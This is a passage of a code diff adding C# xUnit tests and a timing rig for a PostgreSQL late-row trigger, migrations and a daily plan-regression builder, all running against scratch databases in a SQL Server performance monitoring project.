+            /* NULLS NOT DISTINCT in effect: two rows whose nullable key columns are all NULL are one group. */
+            const string Insert = "INSERT INTO collect.plan_regression_daily (server_id, day) VALUES (1, DATE '2026-01-01')";
+            await ExecAsync(connection, Insert, ct);
+            var duplicate = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, Insert, ct));
+            Assert.Equal("23505", duplicate.SqlState);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task MigratingTwice_ChangesNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database of its own, so no other class's migrations race it.
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Re-run just this rung's script on a store that already has it: every statement is idempotent. */
+            await ExecAsync(connection, Rung.Sql, ct);
+            await ExecAsync(connection, Rung.Sql, ct);
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest'::regclass AND tgname = 'trg_plan_regression_daily_late'", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The day builder's SQL runs against the migrated schema and returns the same per-plan totals the read's
+    /// <c>plan_agg</c> step would sum: two plans on a closed day, one row of another day left out, one NULL-keyed row.
+    /// </summary>
+    [Fact]
+    public async Task BuildDaySql_SumsTheDaysRowsPerPlan_AndLeavesOtherDaysAlone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database of its own, so no other class's migrations race it.
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* The trigger's WHEN clause is not under test here, and an old-dated insert would mark days: disable it. */
+            await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER trg_plan_regression_daily_late", ct);
+
+            var d = new DateTime(2026, 3, 10, 0, 0, 0, DateTimeKind.Unspecified);
+            const string Insert =
+                "INSERT INTO collect.query_store_interval_latest (server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count) "
+                + "VALUES (7, $1, 10, $2, NULL, $3, $4, $4 + interval '1 hour', 'h' || $2, $5, $6, $7, $4 + interval '30 minutes', $8, 0)";
+            async Task RowAsync(string? db, long plan, long interval, DateTime first, long execs, long cpu, long dur, bool forced)
+            {
+                await using var cmd = new NpgsqlCommand(Insert, connection);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Text, (object?)db ?? DBNull.Value);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Bigint, plan);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Bigint, interval);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, first);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Bigint, execs);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Bigint, cpu);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Bigint, dur);
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Boolean, forced);
+                await cmd.ExecuteNonQueryAsync(ct);
+            }
+
+            /* Plan 1: two intervals on day D (10 x 100 + 30 x 200 = 7000 cpu, 10 x 1000 + 30 x 2000 = 70000 dur). */
+            await RowAsync("db1", 1, 1, d.AddHours(2), 10, 100, 1000, false);
+            await RowAsync("db1", 1, 2, d.AddHours(5), 30, 200, 2000, true);
+            /* Plan 2, NULL database. */
+            await RowAsync(null, 2, 3, d.AddHours(3), 5, 50, 500, false);
+            /* Another day's row for plan 1, which must not land in D. */
+            await RowAsync("db1", 1, 4, d.AddDays(1).AddHours(2), 99, 1, 1, false);
+
+            await using (var build = new NpgsqlCommand(PlanRegressionDaily.BuildDaySql, connection))
+            {
+                build.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Integer, 7);
+                build.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Date, d.Date);
+                build.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, d.AddDays(1));
+                build.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, d.AddDays(-1));
+                Assert.Equal(2L, await build.ExecuteScalarAsync(ct));
+            }
+
+            Assert.Equal("db1|1|40|7000|70000|true;<null>|2|5|250|2500|false", await ScalarAsync(connection,
+                "SELECT string_agg(COALESCE(database_name, '<null>') || '|' || plan_id || '|' || execs || '|' || cpu_us_sum || '|' || dur_us_sum || '|' || is_forced_plan::text, ';' ORDER BY plan_id) FROM collect.plan_regression_daily WHERE server_id = 7 AND day = DATE '2026-03-10'", ct));
+            Assert.Equal(2L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyTriggerCostRig.cs b/Darling/Darling.Tests/PlanRegressionDailyTriggerCostRig.cs
new file mode 100644
index 0000000000..2f36d0c0a6
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyTriggerCostRig.cs
@@ -0,0 +1,241 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448 cost rig: what the late-row trigger costs the interval table's apply, measured, not
+/// asserted. It is a MEASUREMENT, so it skips unless <c>DARLING_COST_RIG_RUNS</c> is set (runs per mode; the plan says 50),
+/// and it writes its numbers to <c>DARLING_COST_RIG_OUT</c> (a file path) rather than passing or failing on them.
+///
+/// <para>The scratch store is seeded with 5,000,000 rows (V153's recipe: <c>generate_series</c>, trigger disabled during
+/// the seed so it does not mark 93 percent of them), one hour of intervals per 13,889 rows, newest hour first in the
+/// heap's tail as a real store has them. Each run writes <c>MaxRowsPerDatabase</c> (50,000) raw rows, then times the real
+/// <see cref="QueryStoreIntervalLatest.UpsertSql"/> in its own transaction (commit included) and reads the WAL
+/// the statement wrote; the trigger is switched with <c>ALTER TABLE ... DISABLE/ENABLE TRIGGER</c>, and the two modes
+/// alternate run by run so drift hits both.</para>
+///
+/// <para>The cases: S1 steady (intervals from the last four hours, never late); S2 steady with one-day intervals (rows
+/// 24-48 h old refreshed each pass; the share that is late depends on the clock and is reported); S3 backfill (50,000
+/// new rows, every one late); S3u (extra) every row an UPDATE of a late row. Pass lines (plan): S1 under 3 percent,
+/// S2 under +15 percent, S3 under +60 percent and 2 s.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. It CREATEs and DROPs its own database through
+   ScratchPostgres and works entirely inside it, disabling a trigger on its own table, which must never happen to a
+   shared store. */
+public sealed class PlanRegressionDailyTriggerCostRig
+{
+    private const int ServerId = -5448100;
+    private const int BatchRows = 50_000;
+    private const int SeedRows = 5_000_000;
+    private const int RowsPerHour = 13_889;
+    private const string TriggerName = "trg_plan_regression_daily_late";
+
+    private static readonly DateTime CollectionBase = new(2026, 2, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /* The hour every case measures from, taken once. The seed takes minutes, and a case that re-read now() would see a new
+       hour when the seed straddled an hour boundary and find fewer rows than a batch (the S1 failure at 14:59 UTC, 41,627
+       rows). The trigger's own late test still reads the real clock, which is what is being measured. */
+    private static readonly string AnchorHour = "'" + DateTime.UtcNow.ToString("yyyy-MM-dd HH:00:00", CultureInfo.InvariantCulture) + "'::timestamp";
+
+    [Fact]
+    public async Task Measure()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        var runsText = Environment.GetEnvironmentVariable("DARLING_COST_RIG_RUNS");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs) || string.IsNullOrEmpty(runsText),
+            "A measurement: set DARLING_TEST_PG and DARLING_COST_RIG_RUNS (and DARLING_COST_RIG_OUT) to run the #5448 trigger cost rig.");
+        var runs = int.Parse(runsText!, CultureInfo.InvariantCulture);
+        var outPath = Environment.GetEnvironmentVariable("DARLING_COST_RIG_OUT") ?? Path.Combine(Path.GetTempPath(), "plan-regression-trigger-cost.txt");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var report = new StringBuilder();
+        report.AppendLine(CultureInfo.InvariantCulture, $"runs per mode: {runs}; seed rows: {SeedRows}; batch rows: {BatchRows}; {DateTime.UtcNow:o}");
+
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER " + TriggerName, ct);
+        var seedWatch = Stopwatch.StartNew();
+        await ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_latest
+    (server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+     collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+     last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT {ServerId}, 'db', g % {RowsPerHour}, g % {RowsPerHour}, NULL, g / {RowsPerHour},
+       {AnchorHour} - ((359 - g / {RowsPerHour}) * interval '1 hour'),
+       '2026-01-01'::timestamp, '0xAB', '0xCD', 10, 500, 1000,
+       {AnchorHour} - ((359 - g / {RowsPerHour}) * interval '1 hour') + interval '30 minutes',
+       false, 0, NULL
+FROM generate_series(0, {SeedRows - 1}) AS g", ct);
+        await ExecAsync(connection, "ANALYZE collect.query_store_interval_latest", ct);
+        report.AppendLine(CultureInfo.InvariantCulture, $"seed: {seedWatch.Elapsed.TotalSeconds:F1} s, table {await ScalarLongAsync(connection, "SELECT pg_total_relation_size('collect.query_store_interval_latest')", ct) / 1048576} MB");
+
+        /* h = hours old. The seed's interval id is 359 - hours-old, so the newest hour has the largest id. */
+        var cases = new (string Name, string Note, Func<int, string> Source)[]
+        {
+            ("S1", "steady: intervals from the last 4 hours",
+                run => RawFromTable($"first_execution_time >= {AnchorHour} - interval '3 hours'", run)),
+            ("S2", "steady, 1-day intervals: rows 24-48 h old refreshed each pass",
+                run => RawFromTable($"first_execution_time >= {AnchorHour} - interval '47 hours' AND first_execution_time < {AnchorHour} - interval '23 hours' AND query_id % 6 = 0", run)),
+            ("S3", "backfill: 50,000 NEW rows, all late",
+                run => RawNewLate(run)),
+            ("S3u", "extra: every row an UPDATE of a late row",
+                run => RawFromTable($"first_execution_time >= {AnchorHour} - interval '59 hours' AND first_execution_time < {AnchorHour} - interval '47 hours'", run)),
+        };
+
+        var only = Environment.GetEnvironmentVariable("DARLING_COST_RIG_CASES")?.Split(',');
+        foreach (var (name, note, source) in cases.Where(c => only is null || only.Contains(c.Name)))
+        {
+            var off = new List<(double Ms, long Wal)>();
+            var on = new List<(double Ms, long Wal)>();
+            long lateRows = 0;
+            for (var run = 1; run <= runs * 2; run++)
+            {
+                var triggerOn = run % 2 == 0;
+                await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest "
+                    + (triggerOn ? "ENABLE" : "DISABLE") + " TRIGGER " + TriggerName, ct);
+
+                var seq = run + (name == "S3u" ? 1000 : name == "S2" ? 2000 : name == "S1" ? 3000 : 0);
+                await ExecAsync(connection, "DELETE FROM collect.query_store_stats WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct);
+                await ExecAsync(connection, source(seq), ct);
+                if (run == 1)
+                {
+                    lateRows = await ScalarLongAsync(connection,
+                        "SELECT COUNT(*) FROM collect.query_store_stats WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture)
+                        + " AND first_execution_time < date_trunc('day', now() AT TIME ZONE 'UTC') - interval '1 day'", ct);
+                }
+
+                var sample = await TimeUpsertAsync(connection, seq, ct);
+                (triggerOn ? on : off).Add(sample);
+
+                if (name == "S3")
+                {
+                    /* The rows were new: remove them (DELETE fires no trigger) so the next run inserts again. */
+                    await ExecAsync(connection, "DELETE FROM collect.query_store_interval_latest WHERE server_id = "
+                        + ServerId.ToString(CultureInfo.InvariantCulture) + " AND runtime_stats_interval_id >= 100000", ct);
+                }
+            }
+
+            var built = await ScalarLongAsync(connection, "SELECT COALESCE(SUM(late_seq), 0) FROM collect.plan_regression_daily_built", ct);
+            report.AppendLine(CultureInfo.InvariantCulture, $"{name} ({note}); late rows in the batch: {lateRows} of {BatchRows}");
+            report.AppendLine(CultureInfo.InvariantCulture, $"  trigger off: median {Median(off.Select(s => s.Ms)):F1} ms, median WAL {Median(off.Select(s => (double)s.Wal)):F0} bytes, p90 {Percentile(off.Select(s => s.Ms), 0.9):F1} ms");
+            report.AppendLine(CultureInfo.InvariantCulture, $"  trigger on : median {Median(on.Select(s => s.Ms)):F1} ms, median WAL {Median(on.Select(s => (double)s.Wal)):F0} bytes, p90 {Percentile(on.Select(s => s.Ms), 0.9):F1} ms");
+            var msPct = (Median(on.Select(s => s.Ms)) / Median(off.Select(s => s.Ms)) - 1) * 100;
+            var walPct = (Median(on.Select(s => (double)s.Wal)) / Median(off.Select(s => (double)s.Wal)) - 1) * 100;
+            report.AppendLine(CultureInfo.InvariantCulture, $"  delta: {msPct:+0.0;-0.0} % time, {walPct:+0.0;-0.0} % WAL; built.late_seq total so far {built}");
+            /* The machine this runs on is rarely quiet, and a median of wall times moves with it. The off and on runs alternate,
+               so each adjacent pair saw nearly the same load: the median of the pairs' ratios and the fastest run of each mode
+               are steadier than the two medians, and are reported beside them. */
+            var pairs = off.Zip(on, (o, n) => (n.Ms / o.Ms - 1) * 100).ToList();
+            report.AppendLine(CultureInfo.InvariantCulture, $"  steadier: fastest run off {off.Min(s => s.Ms):F1} ms, on {on.Min(s => s.Ms):F1} ms ({(on.Min(s => s.Ms) / off.Min(s => s.Ms) - 1) * 100:+0.0;-0.0} %); median of {pairs.Count} adjacent-pair deltas {Median(pairs):+0.0;-0.0} %");
+
+            /* After every case, so a long run that is stopped early still leaves the cases it finished. */
+            await File.WriteAllTextAsync(outPath, report.ToString(), ct);
+        }
+    }
+
+    /// <summary>Raw rows copied from the table (identity kept), with a newer collection_time so the upsert's guard passes.</summary>
+    private static string RawFromTable(string predicate, int run) => $@"
+INSERT INTO collect.query_store_stats
+    (collection_id, server_id, server_name, collection_time, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id,
+     first_execution_time, last_execution_time, execution_type_desc, execution_count, avg_cpu_time_us, avg_duration_us,
+     query_plan_hash, query_hash, is_forced_plan, force_failure_count)
+SELECT 1, server_id, 'rig', '{CollectionBase:yyyy-MM-dd HH:mm:ss}'::timestamp + make_interval(secs => {run}), database_name, query_id, plan_id, replica_role,
+       runtime_stats_interval_id, first_execution_time, last_execution_time + interval '1 minute', 'Regular', execution_count + 1,
+       avg_cpu_time_us, avg_duration_us, query_plan_hash, query_hash, is_forced_plan, force_failure_count
+FROM collect.query_store_interval_latest
+WHERE server_id = {ServerId} AND {predicate}
+LIMIT {BatchRows}";
+
+    /// <summary>Raw rows with identities the table does not hold yet (a backfill slice), all older than two days.</summary>
+    private static string RawNewLate(int run) => $@"
+INSERT INTO collect.query_store_stats
+    (collection_id, server_id, server_name, collection_time, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id,
+     first_execution_time, last_execution_time, execution_type_desc, execution_count, avg_cpu_time_us, avg_duration_us,
+     query_plan_hash, query_hash, is_forced_plan, force_failure_count)
+SELECT g, {ServerId}, 'rig', '{CollectionBase:yyyy-MM-dd HH:mm:ss}'::timestamp + make_interval(secs => {run}), 'db', g, g, NULL, 100000 + {run},
+       {AnchorHour} - ((48 + g % 300) * interval '1 hour'),
+       {AnchorHour} - ((48 + g % 300) * interval '1 hour') + interval '30 minutes',
+       'Regular', 5, 500, 1000, '0xAB', '0xCD', false, 0
+FROM generate_series(1, {BatchRows}) AS g";
+
+    private static async Task<(double Ms, long Wal)> TimeUpsertAsync(NpgsqlConnection connection, int run, CancellationToken ct)
+    {
+        var collectionTime = CollectionBase.AddSeconds(run);
+        var lsnBefore = await ScalarStringAsync(connection, "SELECT pg_current_wal_lsn()::text", ct);
+
+        var watch = Stopwatch.StartNew();
+        await using (var transaction = await connection.BeginTransactionAsync(ct))
+        {
+            await using var command = new NpgsqlCommand(QueryStoreIntervalLatest.UpsertSql, connection, transaction) { CommandTimeout = 600 };
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = collectionTime });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = new[] { "db" } });
+            await using (var reader = await command.ExecuteReaderAsync(ct))
+            {
+                await reader.ReadAsync(ct);
+                Assert.Equal(BatchRows, reader.GetInt64(1));
+                Assert.True(reader.GetInt64(0) > 0, "the upsert applied nothing, so the run measured nothing");
+            }
+
+            await transaction.CommitAsync(ct);
+        }
+
+        watch.Stop();
+        var wal = await ScalarLongAsync(connection,
+            "SELECT (pg_current_wal_lsn() - '" + lsnBefore + "'::pg_lsn)::bigint", ct);
+        return (watch.Elapsed.TotalMilliseconds, wal);
+    }
+
+    private static double Median(IEnumerable<double> values)
+    {
+        var sorted = values.OrderBy(v => v).ToList();
+        return sorted.Count == 0 ? 0 : sorted.Count % 2 == 1 ? sorted[sorted.Count / 2] : (sorted[(sorted.Count / 2) - 1] + sorted[sorted.Count / 2]) / 2;
+    }
+
+    private static double Percentile(IEnumerable<double> values, double p)
+    {
+        var sorted = values.OrderBy(v => v).ToList();
+        return sorted.Count == 0 ? 0 : sorted[Math.Min(sorted.Count - 1, (int)(sorted.Count * p))];
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 1800 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> ScalarLongAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 600 };
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<string> ScalarStringAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (string)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyTriggerLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDailyTriggerLiveTests.cs
new file mode 100644
index 0000000000..7a2a3c90a0
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyTriggerLiveTests.cs
@@ -0,0 +1,702 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448: the late-row trigger (<c>trg_plan_regression_daily_late</c>) on <c>collect.query_store_interval_latest</c>,
+/// against a real PostgreSQL store (<c>DARLING_TEST_PG</c>). The trigger is what keeps a built day total honest: a row
+/// whose interval started before yesterday's midnight can only arrive late (a backfill, a lagging collector, a replay),
+/// so each one bumps <c>late_seq</c> on the day it started and the next day, and the builder's day stays invalid until it
+/// is rebuilt. The cases the design pins:
+///
+/// <para>(1) steady rows never run the function (<c>pg_stat_user_functions.calls = 0</c>), so the steady write path pays
+/// only the <c>WHEN</c> test; (2) a late row marks day(first) and the next day, one bump per (server, day) per
+/// transaction (a bump per row made a big late apply quadratic), and a rolled-back savepoint undoes both the bump
+/// and the record of it; (3) an
+/// <c>ON CONFLICT</c> winner marks and a <c>WHERE</c>-rejected loser does not; (4) a first before the start of the day 17 days back marks
+/// nothing, and a first on that day or after it marks; (5) COPY and (6) a plain INSERT both mark; (8) the table converted to a hypertable with
+/// <c>migrate_data => true</c> keeps the trigger and later inserts still mark; (9) the trigger leaves
+/// <c>n_tup_hot_upd / n_tup_upd</c> alone, because it writes another table and touches no indexed column. The fault
+/// case (7), which needs the real writer, is in <see cref="QueryStoreIntervalLatestWriterTests"/>.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it (one test turns the table
+   into a hypertable and disables the trigger, which must never happen to a shared store). It never touches the shared
+   database's tables, so it cannot race the live collection. */
+public sealed class PlanRegressionDailyTriggerLiveTests
+{
+    private const int ServerA = -5448001;
+    private const int ServerB = -5448002;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string FunctionName = "plan_regression_daily_mark_late";
+
+    private const string TriggerName = "trg_plan_regression_daily_late";
+
+    /* ---- the cases --------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task SteadyRows_NeverRunTheFunction_AndLeaveTheBuiltTableEmpty_AndALateRowDoesRunIt()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        /* Function statistics are off by default; this session turns them on. */
+        await ExecAsync(connection, "SET track_functions = 'all'", ct);
+
+        var now = DateTime.UtcNow;
+
+        /* Steady: intervals that started within the last day, and re-collections of them (the ON CONFLICT update arm
+           the writer takes every pass). The WHEN clause is false for every one, so the function body never runs. */
+        for (var pass = 0; pass < 3; pass++)
+        {
+            await UpsertAsync(connection, ServerA, FirstTimes(now.AddHours(-1), 20, TimeSpan.FromMinutes(-1)), 100 + pass, 1000 + pass, ct);
+            await UpsertAsync(connection, ServerA, FirstTimes(now.AddHours(-20), 20, TimeSpan.FromMinutes(-1)), 100 + pass, 1000 + pass, ct);
+        }
+
+        Assert.Equal(40, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest", ct));
+        Assert.Equal(0, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+        Assert.Equal(0, await FunctionCallsAsync(connection, ct));
+
+        /* The positive control: the same measurement sees a late row, so the zero above is not a blind probe. */
+        await UpsertAsync(connection, ServerA, new[] { now.Date.AddDays(-6).AddHours(3) }, 1, 1, ct);
+        Assert.Equal(1, await FunctionCallsAsync(connection, ct));
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+    }
+
+    [Fact]
+    public async Task ALateRow_MarksItsDayAndTheNext_OncePerServerDayPerTransaction()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var today = DateTime.UtcNow.Date;
+        var d5 = today.AddDays(-5);
+        var d9 = today.AddDays(-9);
+
+        /* Three rows whose first falls on d5 (one statement, so one transaction: one bump, not three), one at 23:30 of d9
+           (its last can cross midnight, so d9 + 1 is marked). A bump per row was the first shape, and it made a big late
+           apply quadratic (#5448). */
+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(1), d5.AddHours(2), d5.AddHours(23).AddMinutes(30) }, 1, 1, ct);
+        await UpsertAsync(connection, ServerA, new[] { d9.AddHours(23).AddMinutes(30) }, 1, 1, ct);
+
+        var built = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(
+            new Dictionary<DateTime, long>
+            {
+                [d5] = 1,
+                [d5.AddDays(1)] = 1,
+                [d9] = 1,
+                [d9.AddDays(1)] = 1,
+            },
+            built);
+
+        /* A row marks only its own server. */
+        Assert.Empty(await BuiltAsync(connection, ServerB, ct));
+
+        /* Marked days start with no build recorded: built_seq stays NULL until the builder claims the day. */
+        Assert.Equal(4, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM collect.plan_regression_daily_built WHERE built_seq IS NULL AND built_at IS NULL AND source_rows IS NULL", ct));
+
+        /* A second server's late row on the same day is a separate pair of rows. */
+        await UpsertAsync(connection, ServerB, new[] { d5.AddHours(4) }, 1, 1, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerB, ct))[d5]);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[d5]);
+    }
+
+    /// <summary>
+    /// #5448: the bump is once per (server, day) per TRANSACTION. Late rows keep running the function (the function
+    /// statistics count every one), but only the first for a pair writes the built table. Three statements in one
+    /// transaction, with the third row's pair overlapping the first's on one day (its first day is the first row's next
+    /// day), bump each of the three days once; the same rows' pairs in two transactions bump twice.
+    /// </summary>
+    [Fact]
+    public async Task TwoLateRowsForOneDay_InOneTransaction_BumpOnce_AndInTwoTransactions_BumpTwice()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await ExecAsync(connection, "SET track_functions = 'all'", ct);
+
+        var today = DateTime.UtcNow.Date;
+        var d5 = today.AddDays(-5);
+        var d8 = today.AddDays(-8);
+
+        await ExecAsync(connection, "BEGIN", ct);
+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(1), d5.AddHours(2) }, 1, 1, ct);
+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(3) }, 1, 1, ct);
+        await UpsertAsync(connection, ServerA, new[] { d5.AddDays(1).AddHours(4) }, 1, 1, ct);
+        await ExecAsync(connection, "COMMIT", ct);
+
+        Assert.Equal(4, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest", ct));
+        Assert.Equal(
+            new Dictionary<DateTime, long> { [d5] = 1, [d5.AddDays(1)] = 1, [d5.AddDays(2)] = 1 },
+            await BuiltAsync(connection, ServerA, ct));
+
+        /* Two transactions, two late rows each, all four on one day: one bump per transaction. */
+        await ExecAsync(connection, "BEGIN", ct);
+        await UpsertAsync(connection, ServerB, new[] { d8.AddHours(1), d8.AddHours(2) }, 1, 1, ct);
+        await ExecAsync(connection, "COMMIT", ct);
+        await ExecAsync(connection, "BEGIN", ct);
+        await UpsertAsync(connection, ServerB, new[] { d8.AddHours(3), d8.AddHours(4) }, 1, 1, ct);
+        await ExecAsync(connection, "COMMIT", ct);
+
+        Assert.Equal(
+            new Dictionary<DateTime, long> { [d8] = 2, [d8.AddDays(1)] = 2 },
+            await BuiltAsync(connection, ServerB, ct));
+
+        /* The function itself still ran for each of the eight late rows: the saving is the write, not the call. */
+        Assert.Equal(8, await FunctionCallsAsync(connection, ct));
+
+        /* Nothing is left behind for the next transaction of the session. */
+        Assert.Equal(string.Empty, await ScalarStringAsync(connection, "SELECT coalesce(current_setting('darling.plan_regression_marked', true), '')", ct));
+    }
+
+    /// <summary>
+    /// #5448: the transaction-local record of marked pairs is undone with a rolled-back savepoint, together with
+    /// the bump it recorded, so a later late row for that day in the same transaction marks again instead of being
+    /// skipped. A record that survived the rollback would drop the day's bump and leave a stale built total valid.
+    /// </summary>
+    [Fact]
+    public async Task ALateRowInARolledBackSavepoint_IsUnmarked_SoTheNextLateRowMarksAgain()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var today = DateTime.UtcNow.Date;
+        var d5 = today.AddDays(-5);
+        var d9 = today.AddDays(-9);
+
+        await ExecAsync(connection, "BEGIN", ct);
